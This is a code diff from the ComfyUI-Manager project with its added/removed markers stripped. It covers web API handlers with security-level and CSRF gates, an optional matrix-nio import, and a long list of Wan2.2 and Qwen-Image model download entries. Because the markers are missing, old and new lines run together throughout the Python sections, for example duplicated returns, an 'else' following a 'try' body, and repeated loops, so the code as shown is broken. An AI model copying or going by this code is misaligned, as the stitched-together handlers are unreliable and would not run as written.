set_db_mode(request.rel_url.query['value'])
return web.Response(text=core.get_config()['db_mode'], status=200)
@routes.post("/v2/manager/db_mode")
async def set_db_mode_api(request):
# Config writes are at the same risk tier as uninstall/update — apply the
# 'middle' gate consistent with snapshot/remove, etc. Content-Type gate is
# NOT applied here: this handler consumes application/json and a
# cross-origin <form method=POST> cannot forge that without triggering
# CORS preflight (see module docstring in common/manager_security.py).
if not is_allowed_security_level('middle'):
logging.error(SECURITY_MESSAGE_MIDDLE)
return web.Response(status=403)
try:
data = await request.json()
set_db_mode(data['value'])
core.write_config()
else:
return web.Response(text=core.get_config()['db_mode'], status=200)
return web.Response(status=200)
@routes.get("/v2/manager/policy/component")
async def component_policy(request):
if "value" in request.rel_url.query:
set_component_policy(request.rel_url.query['value'])
core.write_config()
else:
return web.Response(text=core.get_config()['component_policy'], status=200)
return web.Response(status=200)
return web.Response(status=200)
except (json.JSONDecodeError, KeyError):
return web.Response(status=400, text='Invalid request')
@routes.get("/v2/manager/policy/update")
async def update_policy(request):
if "value" in request.rel_url.query:
set_update_policy(request.rel_url.query['value'])
core.write_config()
else:
return web.Response(text=core.get_config()['update_policy'], status=200)
return web.Response(text=core.get_config()['update_policy'], status=200)
return web.Response(status=200)
@routes.post("/v2/manager/policy/update")
async def set_update_policy_api(request):
# See set_db_mode_api above for gate rationale.
if not is_allowed_security_level('middle'):
logging.error(SECURITY_MESSAGE_MIDDLE)
return web.Response(status=403)
try:
data = await request.json()
set_update_policy(data['value'])
core.write_config()
return web.Response(status=200)
except (json.JSONDecodeError, KeyError):
return web.Response(status=400, text='Invalid request')
@routes.get("/v2/manager/channel_url_list")
async def channel_url_list(request):
channels = core.get_channel_dict()
if "value" in request.rel_url.query:
channel_url = channels.get(request.rel_url.query['value'])
if channel_url is not None:
core.get_config()['channel_url'] = channel_url
core.write_config()
else:
selected = 'custom'
selected_url = core.get_config()['channel_url']
selected = 'custom'
selected_url = core.get_config()['channel_url']
for name, url in channels.items():
if url == selected_url:
selected = name
break
for name, url in channels.items():
if url == selected_url:
selected = name
break
res = {'selected': selected,
'list': core.get_channel_list()}
return web.json_response(res, status=200)
res = {'selected': selected,
'list': core.get_channel_list()}
return web.json_response(res, status=200)
return web.Response(status=200)
@routes.post("/v2/manager/channel_url_list")
async def set_channel_url(request):
# See set_db_mode_api above for gate rationale.
if not is_allowed_security_level('middle'):
logging.error(SECURITY_MESSAGE_MIDDLE)
return web.Response(status=403)
try:
data = await request.json()
channels = core.get_channel_dict()
channel_url = channels.get(data['value'])
if channel_url is None:
# Reject unknown channel name explicitly instead of silent no-op.
# Parity with glob set_channel_url (comfyui_manager/glob/manager_server.py)
# and with set_db_mode / set_update_policy whitelist enforcement.
return web.Response(
status=400,
text=f"Invalid channel name {data['value']!r}; "
f"must be one of {sorted(channels.keys())}",
)
core.get_config()['channel_url'] = channel_url
core.write_config()
return web.Response(status=200)
except (json.JSONDecodeError, KeyError):
return web.Response(status=400, text='Invalid request')
def add_target_blank(html_text):
@@ -1832,13 +1876,12 @@ async def get_notice(request):
# legacy /manager/notice
@routes.get("/manager/notice")
async def get_notice_legacy(request):
return web.Response(text="""<font color="red">Starting from ComfyUI-Manager V4.0+, it should be installed via pip.<BR><BR>Please remove the ComfyUI-Manager installed in the <font color="white">'custom_nodes'</font> directory.</font>""", status=200)
@routes.get("/v2/manager/reboot")
def restart(self):
@routes.post("/v2/manager/reboot")
def restart(request):
rejection = manager_security.reject_simple_form_post(request)
if rejection is not None:
return rejection
if not is_allowed_security_level('middle'):
logging.error(SECURITY_MESSAGE_MIDDLE)
return web.Response(status=403)
@@ -1874,61 +1917,6 @@ def restart(self):
return os.execv(sys.executable, cmds)
@routes.post("/v2/manager/component/save")
async def save_component(request):
try:
data = await request.json()
name = data['name']
workflow = data['workflow']
if not os.path.exists(context.manager_components_path):
os.mkdir(context.manager_components_path)
if 'packname' in workflow and workflow['packname'] != '':
sanitized_name = manager_util.sanitize_filename(workflow['packname']) + '.pack'
else:
sanitized_name = manager_util.sanitize_filename(name) + '.json'
filepath = os.path.join(context.manager_components_path, sanitized_name)
components = {}
if os.path.exists(filepath):
with open(filepath) as f:
components = json.load(f)
components[name] = workflow
with open(filepath, 'w') as f:
json.dump(components, f, indent=4, sort_keys=True)
return web.Response(text=filepath, status=200)
except Exception:
return web.Response(status=400)
@routes.post("/v2/manager/component/loads")
async def load_components(request):
if os.path.exists(context.manager_components_path):
try:
json_files = [f for f in os.listdir(context.manager_components_path) if f.endswith('.json')]
pack_files = [f for f in os.listdir(context.manager_components_path) if f.endswith('.pack')]
components = {}
for json_file in json_files + pack_files:
file_path = os.path.join(context.manager_components_path, json_file)
with open(file_path, 'r') as file:
try:
# When there is a conflict between the .pack and the .json, the pack takes precedence and overrides.
components.update(json.load(file))
except json.JSONDecodeError as e:
logging.error(f"[ComfyUI-Manager] Error decoding component file in file {json_file}: {e}")
return web.json_response(components)
except Exception as e:
logging.error(f"[ComfyUI-Manager] failed to load components\n{e}")
return web.Response(status=400)
else:
return web.json_response({})
@routes.get("/v2/manager/version")
async def get_version(request):
return web.Response(text=core.version_str, status=200)
@@ -2007,9 +1995,13 @@ if not os.path.exists(context.manager_config_path):
# policy setup
manager_security.add_handler_policy(reinstall_custom_node, manager_security.HANDLER_POLICY.MULTIPLE_REMOTE_BAN_NOT_PERSONAL_CLOUD)
manager_security.add_handler_policy(install_custom_node, manager_security.HANDLER_POLICY.MULTIPLE_REMOTE_BAN_NOT_PERSONAL_CLOUD)
manager_security.add_handler_policy(fix_custom_node, manager_security.HANDLER_POLICY.MULTIPLE_REMOTE_BAN_NOT_PERSONAL_CLOUD)
# WI-V: removed stale references to reinstall_custom_node / install_custom_node /
# fix_custom_node — these legacy handlers were deleted in prior refactors
# (likely the CSRF POST-conversion / security level work). Their remaining
# add_handler_policy() calls raised NameError at module import, aborting
# `comfyui_manager.start()`'s legacy branch before EXTENSION_WEB_DIRS could
# register the legacy-UI JS directory — which is why the legacy Manager
# button never rendered in the ComfyUI toolbar for Playwright tests.
manager_security.add_handler_policy(install_custom_node_git_url, manager_security.HANDLER_POLICY.MULTIPLE_REMOTE_BAN_NOT_PERSONAL_CLOUD)
manager_security.add_handler_policy(install_custom_node_pip, manager_security.HANDLER_POLICY.MULTIPLE_REMOTE_BAN_NOT_PERSONAL_CLOUD)
manager_security.add_handler_policy(install_model, manager_security.HANDLER_POLICY.MULTIPLE_REMOTE_BAN_NOT_PERSONAL_CLOUD)
+19 -3
View File
@@ -10,6 +10,16 @@ import hashlib
import folder_paths
from server import PromptServer
import logging
import sys
try:
from nio import AsyncClient, LoginResponse, UploadResponse
matrix_nio_is_available = True
except Exception:
logging.warning(f"[ComfyUI-Manager] The matrix sharing feature has been disabled because the `matrix-nio` dependency is not installed.\n\tTo use this feature, please run the following command:\n\t{sys.executable} -m pip install matrix-nio\n")
matrix_nio_is_available = False
def extract_model_file_names(json_data):
@@ -192,6 +202,14 @@ async def get_esheep_workflow_and_images(request):
return web.Response(status=200, text=json.dumps(data))
@PromptServer.instance.routes.get("/v2/manager/get_matrix_dep_status")
async def get_matrix_dep_status(request):
if matrix_nio_is_available:
return web.Response(status=200, text='available')
else:
return web.Response(status=200, text='unavailable')
def set_matrix_auth(json_data):
homeserver = json_data['homeserver']
username = json_data['username']
@@ -331,14 +349,12 @@ async def share_art(request):
workflowId = upload_workflow_json["workflowId"]
# check if the user has provided Matrix credentials
if "matrix" in share_destinations:
if matrix_nio_is_available and "matrix" in share_destinations:
comfyui_share_room_id = '!LGYSoacpJPhIfBqVfb:matrix.org'
filename = os.path.basename(asset_filepath)
content_type = assetFileType
try:
from nio import AsyncClient, LoginResponse, UploadResponse
homeserver = 'matrix.org'
if matrix_auth:
homeserver = matrix_auth.get('homeserver', 'matrix.org')
@@ -5045,6 +5045,105 @@
"size": "1.26GB"
},
{
"name": "Comfy-Org/Wan2.2 i2v high noise 14B (fp16)",
"type": "diffusion_model",
"base": "Wan2.2",
"save_path": "diffusion_models/Wan2.2",
"description": "Wan2.2 diffusion model for i2v high noise 14B (fp16)",
"reference": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged",
"filename": "wan2.2_i2v_high_noise_14B_fp16.safetensors",
"url": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_i2v_high_noise_14B_fp16.safetensors",
"size": "28.6GB"
},
{
"name": "Comfy-Org/Wan2.2 i2v high noise 14B (fp8_scaled)",
"type": "diffusion_model",
"base": "Wan2.2",
"save_path": "diffusion_models/Wan2.2",
"description": "Wan2.2 diffusion model for i2v high noise 14B (fp8_scaled)",
"reference": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged",
"filename": "wan2.2_i2v_high_noise_14B_fp8_scaled.safetensors",
"url": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_i2v_high_noise_14B_fp8_scaled.safetensors",
"size": "14.3GB"
},
{
"name": "Comfy-Org/Wan2.2 i2v low noise 14B (fp16)",
"type": "diffusion_model",
"base": "Wan2.2",
"save_path": "diffusion_models/Wan2.2",
"description": "Wan2.2 diffusion model for i2v low noise 14B (fp16)",
"reference": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged",
"filename": "wan2.2_i2v_low_noise_14B_fp16.safetensors",
"url": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_i2v_low_noise_14B_fp16.safetensors",
"size": "28.6GB"
},
{
"name": "Comfy-Org/Wan2.2 i2v low noise 14B (fp8_scaled)",
"type": "diffusion_model",
"base": "Wan2.2",
"save_path": "diffusion_models/Wan2.2",
"description": "Wan2.2 diffusion model for i2v low noise 14B (fp8_scaled)",
"reference": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged",
"filename": "wan2.2_i2v_low_noise_14B_fp8_scaled.safetensors",
"url": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_i2v_low_noise_14B_fp8_scaled.safetensors",
"size": "14.3GB"
},
{
"name": "Comfy-Org/Wan2.2 t2v high noise 14B (fp16)",
"type": "diffusion_model",
"base": "Wan2.2",
"save_path": "diffusion_models/Wan2.2",
"description": "Wan2.2 diffusion model for t2v high noise 14B (fp16)",
"reference": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged",
"filename": "wan2.2_t2v_high_noise_14B_fp16.safetensors",
"url": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_t2v_high_noise_14B_fp16.safetensors",
"size": "28.6GB"
},
{
"name": "Comfy-Org/Wan2.2 t2v high noise 14B (fp8_scaled)",
"type": "diffusion_model",
"base": "Wan2.2",
"save_path": "diffusion_models/Wan2.2",
"description": "Wan2.2 diffusion model for t2v high noise 14B (fp8_scaled)",
"reference": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged",
"filename": "wan2.2_t2v_high_noise_14B_fp8_scaled.safetensors",
"url": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_t2v_high_noise_14B_fp8_scaled.safetensors",
"size": "14.3GB"
},
{
"name": "Comfy-Org/Wan2.2 t2v low noise 14B (fp16)",
"type": "diffusion_model",
"base": "Wan2.2",
"save_path": "diffusion_models/Wan2.2",
"description": "Wan2.2 diffusion model for t2v low noise 14B (fp16)",
"reference": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged",
"filename": "wan2.2_t2v_low_noise_14B_fp16.safetensors",
"url": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_t2v_low_noise_14B_fp16.safetensors",
"size": "28.6GB"
},
{
"name": "Comfy-Org/Wan2.2 t2v low noise 14B (fp8_scaled)",
"type": "diffusion_model",
"base": "Wan2.2",
"save_path": "diffusion_models/Wan2.2",
"description": "Wan2.2 diffusion model for t2v low noise 14B (fp8_scaled)",
"reference": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged",
"filename": "wan2.2_t2v_low_noise_14B_fp8_scaled.safetensors",
"url": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_t2v_low_noise_14B_fp8_scaled.safetensors",
"size": "14.3GB"
},
{
"name": "Comfy-Org/Wan2.2 ti2v 5B (fp16)",
"type": "diffusion_model",
"base": "Wan2.2",
"save_path": "diffusion_models/Wan2.2",
"description": "Wan2.2 diffusion model for ti2v 5B (fp16)",
"reference": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged",
"filename": "wan2.2_ti2v_5B_fp16.safetensors",
"url": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_ti2v_5B_fp16.safetensors",
"size": "10.0GB"
},
{
"name": "Comfy-Org/umt5_xxl_fp16.safetensors",
@@ -5256,6 +5355,317 @@
"filename": "LBM_relighting.safetensors",
"url": "https://huggingface.co/jasperai/LBM_relighting/resolve/main/model.safetensors",
"size": "5.02GB"
},
{
"name": "Qwen-Image VAE",
"type": "VAE",
"base": "Qwen-Image",
"save_path": "vae/qwen-image",
"description": "VAE model for Qwen-Image",
"reference": "https://huggingface.co/Comfy-Org/Qwen-Image_ComfyUI",
"filename": "qwen_image_vae.safetensors",
"url": "https://huggingface.co/Comfy-Org/Qwen-Image_ComfyUI/resolve/main/split_files/vae/qwen_image_vae.safetensors",
"size": "335MB"
},
{
"name": "Qwen 2.5 VL 7B Text Encoder (fp8_scaled)",
"type": "clip",
"base": "Qwen-2.5-VL",
"save_path": "text_encoders/qwen",
"description": "Qwen 2.5 VL 7B text encoder model (fp8_scaled)",
"reference": "https://huggingface.co/Comfy-Org/Qwen-Image_ComfyUI",
"filename": "qwen_2.5_vl_7b_fp8_scaled.safetensors",
"url": "https://huggingface.co/Comfy-Org/Qwen-Image_ComfyUI/resolve/main/split_files/text_encoders/qwen_2.5_vl_7b_fp8_scaled.safetensors",
"size": "3.75GB"
},
{
"name": "Qwen 2.5 VL 7B Text Encoder",
"type": "clip",
"base": "Qwen-2.5-VL",
"save_path": "text_encoders/qwen",
"description": "Qwen 2.5 VL 7B text encoder model",
"reference": "https://huggingface.co/Comfy-Org/Qwen-Image_ComfyUI",
"filename": "qwen_2.5_vl_7b.safetensors",
"url": "https://huggingface.co/Comfy-Org/Qwen-Image_ComfyUI/resolve/main/split_files/text_encoders/qwen_2.5_vl_7b.safetensors",
"size": "7.51GB"
},
{
"name": "Qwen-Image Diffusion Model (fp8_e4m3fn)",
"type": "diffusion_model",
"base": "Qwen-Image",
"save_path": "diffusion_models/qwen-image",
"description": "Qwen-Image diffusion model (fp8_e4m3fn)",
"reference": "https://huggingface.co/Comfy-Org/Qwen-Image_ComfyUI",
"filename": "qwen_image_fp8_e4m3fn.safetensors",
"url": "https://huggingface.co/Comfy-Org/Qwen-Image_ComfyUI/resolve/main/split_files/diffusion_models/qwen_image_fp8_e4m3fn.safetensors",
"size": "4.89GB"
},
{
"name": "Qwen-Image Diffusion Model (bf16)",
"type": "diffusion_model",
"base": "Qwen-Image",
"save_path": "diffusion_models/qwen-image",
"description": "Qwen-Image diffusion model (bf16)",
"reference": "https://huggingface.co/Comfy-Org/Qwen-Image_ComfyUI",
"filename": "qwen_image_bf16.safetensors",
"url": "https://huggingface.co/Comfy-Org/Qwen-Image_ComfyUI/resolve/main/split_files/diffusion_models/qwen_image_bf16.safetensors",
"size": "9.78GB"
},
{
"name": "Qwen-Image-Edit 2509 Diffusion Model (fp8_e4m3fn)",
"type": "diffusion_model",
"base": "Qwen-Image-Edit",
"save_path": "diffusion_models/qwen-image-edit",
"description": "Qwen-Image-Edit 2509 diffusion model (fp8_e4m3fn)",
"reference": "https://huggingface.co/Comfy-Org/Qwen-Image-Edit_ComfyUI",
"filename": "qwen_image_edit_2509_fp8_e4m3fn.safetensors",
"url": "https://huggingface.co/Comfy-Org/Qwen-Image-Edit_ComfyUI/resolve/main/split_files/diffusion_models/qwen_image_edit_2509_fp8_e4m3fn.safetensors",
"size": "4.89GB"
},
{
"name": "Qwen-Image-Edit 2509 Diffusion Model (bf16)",
"type": "diffusion_model",
"base": "Qwen-Image-Edit",
"save_path": "diffusion_models/qwen-image-edit",
"description": "Qwen-Image-Edit 2509 diffusion model (bf16)",
"reference": "https://huggingface.co/Comfy-Org/Qwen-Image-Edit_ComfyUI",
"filename": "qwen_image_edit_2509_bf16.safetensors",
"url": "https://huggingface.co/Comfy-Org/Qwen-Image-Edit_ComfyUI/resolve/main/split_files/diffusion_models/qwen_image_edit_2509_bf16.safetensors",
"size": "9.78GB"
},
{
"name": "Qwen-Image-Edit Diffusion Model (fp8_e4m3fn)",
"type": "diffusion_model",
"base": "Qwen-Image-Edit",
"save_path": "diffusion_models/qwen-image-edit",
"description": "Qwen-Image-Edit diffusion model (fp8_e4m3fn)",
"reference": "https://huggingface.co/Comfy-Org/Qwen-Image-Edit_ComfyUI",
"filename": "qwen_image_edit_fp8_e4m3fn.safetensors",
"url": "https://huggingface.co/Comfy-Org/Qwen-Image-Edit_ComfyUI/resolve/main/split_files/diffusion_models/qwen_image_edit_fp8_e4m3fn.safetensors",
"size": "4.89GB"
},
{
"name": "Qwen-Image-Edit Diffusion Model (bf16)",
"type": "diffusion_model",
"base": "Qwen-Image-Edit",
"save_path": "diffusion_models/qwen-image-edit",
"description": "Qwen-Image-Edit diffusion model (bf16)",
"reference": "https://huggingface.co/Comfy-Org/Qwen-Image-Edit_ComfyUI",
"filename": "qwen_image_edit_bf16.safetensors",
"url": "https://huggingface.co/Comfy-Org/Qwen-Image-Edit_ComfyUI/resolve/main/split_files/diffusion_models/qwen_image_edit_bf16.safetensors",
"size": "9.78GB"
},
{
"name": "Qwen-Image-Lightning 8steps V1.0",
"type": "lora",
"base": "Qwen-Image",
"save_path": "loras/qwen-image-lightning",
"description": "Qwen-Image-Lightning 8-step LoRA model V1.0",
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
"filename": "Qwen-Image-Lightning-8steps-V1.0.safetensors",
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Lightning-8steps-V1.0.safetensors",
"size": "9.78GB"
},
{
"name": "Qwen-Image-Lightning 4steps V1.0",
"type": "lora",
"base": "Qwen-Image",
"save_path": "loras/qwen-image-lightning",
"description": "Qwen-Image-Lightning 4-step LoRA model V1.0",
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
"filename": "Qwen-Image-Lightning-4steps-V1.0.safetensors",
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Lightning-4steps-V1.0.safetensors",
"size": "9.78GB"
},
{
"name": "Qwen-Image-Lightning 4steps V1.0 (bf16)",
"type": "lora",
"base": "Qwen-Image",
"save_path": "loras/qwen-image-lightning",
"description": "Qwen-Image-Lightning 4-step LoRA model V1.0 (bf16)",
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
"filename": "Qwen-Image-Lightning-4steps-V1.0-bf16.safetensors",
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Lightning-4steps-V1.0-bf16.safetensors",
"size": "19.6GB"
},
{
"name": "Qwen-Image-Lightning 4steps V2.0",
"type": "lora",
"base": "Qwen-Image",
"save_path": "loras/qwen-image-lightning",
"description": "Qwen-Image-Lightning 4-step LoRA model V2.0",
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
"filename": "Qwen-Image-Lightning-4steps-V2.0.safetensors",
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Lightning-4steps-V2.0.safetensors",
"size": "9.78GB"
},
{
"name": "Qwen-Image-Lightning 4steps V2.0 (bf16)",
"type": "lora",
"base": "Qwen-Image",
"save_path": "loras/qwen-image-lightning",
"description": "Qwen-Image-Lightning 4-step LoRA model V2.0 (bf16)",
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
"filename": "Qwen-Image-Lightning-4steps-V2.0-bf16.safetensors",
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Lightning-4steps-V2.0-bf16.safetensors",
"size": "19.6GB"
},
{
"name": "Qwen-Image-Lightning 8steps V1.1",
"type": "lora",
"base": "Qwen-Image",
"save_path": "loras/qwen-image-lightning",
"description": "Qwen-Image-Lightning 8-step LoRA model V1.1",
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
"filename": "Qwen-Image-Lightning-8steps-V1.1.safetensors",
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Lightning-8steps-V1.1.safetensors",
"size": "9.78GB"
},
{
"name": "Qwen-Image-Lightning 8steps V1.1 (bf16)",
"type": "lora",
"base": "Qwen-Image",
"save_path": "loras/qwen-image-lightning",
"description": "Qwen-Image-Lightning 8-step LoRA model V1.1 (bf16)",
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
"filename": "Qwen-Image-Lightning-8steps-V1.1-bf16.safetensors",
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Lightning-8steps-V1.1-bf16.safetensors",
"size": "19.6GB"
},
{
"name": "Qwen-Image-Lightning 8steps V2.0",
"type": "lora",
"base": "Qwen-Image",
"save_path": "loras/qwen-image-lightning",
"description": "Qwen-Image-Lightning 8-step LoRA model V2.0",
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
"filename": "Qwen-Image-Lightning-8steps-V2.0.safetensors",
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Lightning-8steps-V2.0.safetensors",
"size": "9.78GB"
},
{
"name": "Qwen-Image-Lightning 8steps V2.0 (bf16)",
"type": "lora",
"base": "Qwen-Image",
"save_path": "loras/qwen-image-lightning",
"description": "Qwen-Image-Lightning 8-step LoRA model V2.0 (bf16)",
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
"filename": "Qwen-Image-Lightning-8steps-V2.0-bf16.safetensors",
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Lightning-8steps-V2.0-bf16.safetensors",
"size": "19.6GB"
},
{
"name": "Qwen-Image-Edit-Lightning 4steps V1.0",
"type": "lora",
"base": "Qwen-Image-Edit",
"save_path": "loras/qwen-image-edit-lightning",
"description": "Qwen-Image-Edit-Lightning 4-step LoRA model V1.0",
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
"filename": "Qwen-Image-Edit-Lightning-4steps-V1.0.safetensors",
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Edit-Lightning-4steps-V1.0.safetensors",
"size": "9.78GB"
},
{
"name": "Qwen-Image-Edit-Lightning 4steps V1.0 (bf16)",
"type": "lora",
"base": "Qwen-Image-Edit",
"save_path": "loras/qwen-image-edit-lightning",
"description": "Qwen-Image-Edit-Lightning 4-step LoRA model V1.0 (bf16)",
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
"filename": "Qwen-Image-Edit-Lightning-4steps-V1.0-bf16.safetensors",
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Edit-Lightning-4steps-V1.0-bf16.safetensors",
"size": "19.6GB"
},
{
"name": "Qwen-Image-Edit-Lightning 8steps V1.0",
"type": "lora",
"base": "Qwen-Image-Edit",
"save_path": "loras/qwen-image-edit-lightning",
"description": "Qwen-Image-Edit-Lightning 8-step LoRA model V1.0",
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
"filename": "Qwen-Image-Edit-Lightning-8steps-V1.0.safetensors",
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Edit-Lightning-8steps-V1.0.safetensors",
"size": "9.78GB"
},
{
"name": "Qwen-Image-Edit-Lightning 8steps V1.0 (bf16)",
"type": "lora",
"base": "Qwen-Image-Edit",
"save_path": "loras/qwen-image-edit-lightning",
"description": "Qwen-Image-Edit-Lightning 8-step LoRA model V1.0 (bf16)",
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
"filename": "Qwen-Image-Edit-Lightning-8steps-V1.0-bf16.safetensors",
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Edit-Lightning-8steps-V1.0-bf16.safetensors",
"size": "19.6GB"
},
{
"name": "Qwen-Image-Edit-2509-Lightning 4steps V1.0 (bf16)",
"type": "lora",
"base": "Qwen-Image-Edit",
"save_path": "loras/qwen-image-edit-lightning",
"description": "Qwen-Image-Edit-2509-Lightning 4-step LoRA model V1.0 (bf16)",
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
"filename": "Qwen-Image-Edit-2509-Lightning-4steps-V1.0-bf16.safetensors",
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Edit-2509/Qwen-Image-Edit-2509-Lightning-4steps-V1.0-bf16.safetensors",
"size": "19.6GB"
},
{
"name": "Qwen-Image-Edit-2509-Lightning 4steps V1.0 (fp32)",
"type": "lora",
"base": "Qwen-Image-Edit",
"save_path": "loras/qwen-image-edit-lightning",
"description": "Qwen-Image-Edit-2509-Lightning 4-step LoRA model V1.0 (fp32)",
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
"filename": "Qwen-Image-Edit-2509-Lightning-4steps-V1.0-fp32.safetensors",
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Edit-2509/Qwen-Image-Edit-2509-Lightning-4steps-V1.0-fp32.safetensors",
"size": "39.1GB"
},
{
"name": "Qwen-Image-Edit-2509-Lightning 8steps V1.0 (bf16)",
"type": "lora",
"base": "Qwen-Image-Edit",
"save_path": "loras/qwen-image-edit-lightning",
"description": "Qwen-Image-Edit-2509-Lightning 8-step LoRA model V1.0 (bf16)",
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
"filename": "Qwen-Image-Edit-2509-Lightning-8steps-V1.0-bf16.safetensors",
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Edit-2509/Qwen-Image-Edit-2509-Lightning-8steps-V1.0-bf16.safetensors",
"size": "19.6GB"
},
{
"name": "Qwen-Image-Edit-2509-Lightning 8steps V1.0 (fp32)",
"type": "lora",
"base": "Qwen-Image-Edit",
"save_path": "loras/qwen-image-edit-lightning",
"description": "Qwen-Image-Edit-2509-Lightning 8-step LoRA model V1.0 (fp32)",
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
"filename": "Qwen-Image-Edit-2509-Lightning-8steps-V1.0-fp32.safetensors",
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Edit-2509/Qwen-Image-Edit-2509-Lightning-8steps-V1.0-fp32.safetensors",
"size": "39.1GB"
},
{
"name": "Qwen-Image InstantX ControlNet Union",
"type": "controlnet",
"base": "Qwen-Image",
"save_path": "controlnet/qwen-image/instantx",
"description": "Qwen-Image InstantX ControlNet Union model",
"reference": "https://huggingface.co/Comfy-Org/Qwen-Image-InstantX-ControlNets",
"filename": "Qwen-Image-InstantX-ControlNet-Union.safetensors",
"url": "https://huggingface.co/Comfy-Org/Qwen-Image-InstantX-ControlNets/resolve/main/split_files/controlnet/Qwen-Image-InstantX-ControlNet-Union.safetensors",
"size": "2.54GB"
},
{
"name": "Qwen-Image InstantX ControlNet Inpainting",
"type": "controlnet",
"base": "Qwen-Image",
"save_path": "controlnet/qwen-image/instantx",
"description": "Qwen-Image InstantX ControlNet Inpainting model",
"reference": "https://huggingface.co/Comfy-Org/Qwen-Image-InstantX-ControlNets",
"filename": "Qwen-Image-InstantX-ControlNet-Inpainting.safetensors",
"url": "https://huggingface.co/Comfy-Org/Qwen-Image-InstantX-ControlNets/resolve/main/split_files/controlnet/Qwen-Image-InstantX-ControlNet-Inpainting.safetensors",
"size": "2.54GB"
}
]
}
}
+55 -23
View File
@@ -16,25 +16,11 @@ from .common import security_check
from .common import manager_util
from .common import cm_global
from .common import manager_downloader
from .common.timestamp_utils import current_timestamp
import folder_paths
manager_util.add_python_path_to_env()
import datetime as dt
if hasattr(dt, 'datetime'):
from datetime import datetime as dt_datetime
def current_timestamp():
return dt_datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')[:-3]
else:
# NOTE: Occurs in some Mac environments.
import time
logging.error(f"[ComfyUI-Manager] fallback timestamp mode\n datetime module is invalid: '{dt.__file__}'")
def current_timestamp():
return str(time.time()).split('.')[0]
cm_global.pip_blacklist = {'torch', 'torchaudio', 'torchsde', 'torchvision'}
cm_global.pip_downgrade_blacklist = ['torch', 'torchaudio', 'torchsde', 'torchvision', 'transformers', 'safetensors', 'kornia']
@@ -80,7 +66,7 @@ cm_global.register_api('cm.is_import_failed_extension', is_import_failed_extensi
comfyui_manager_path = os.path.abspath(os.path.dirname(__file__))
custom_nodes_base_path = folder_paths.get_folder_paths('custom_nodes')[0]
manager_files_path = os.path.abspath(os.path.join(folder_paths.get_user_directory(), 'default', 'ComfyUI-Manager'))
manager_files_path = folder_paths.get_system_user_directory("manager")
manager_pip_overrides_path = os.path.join(manager_files_path, "pip_overrides.json")
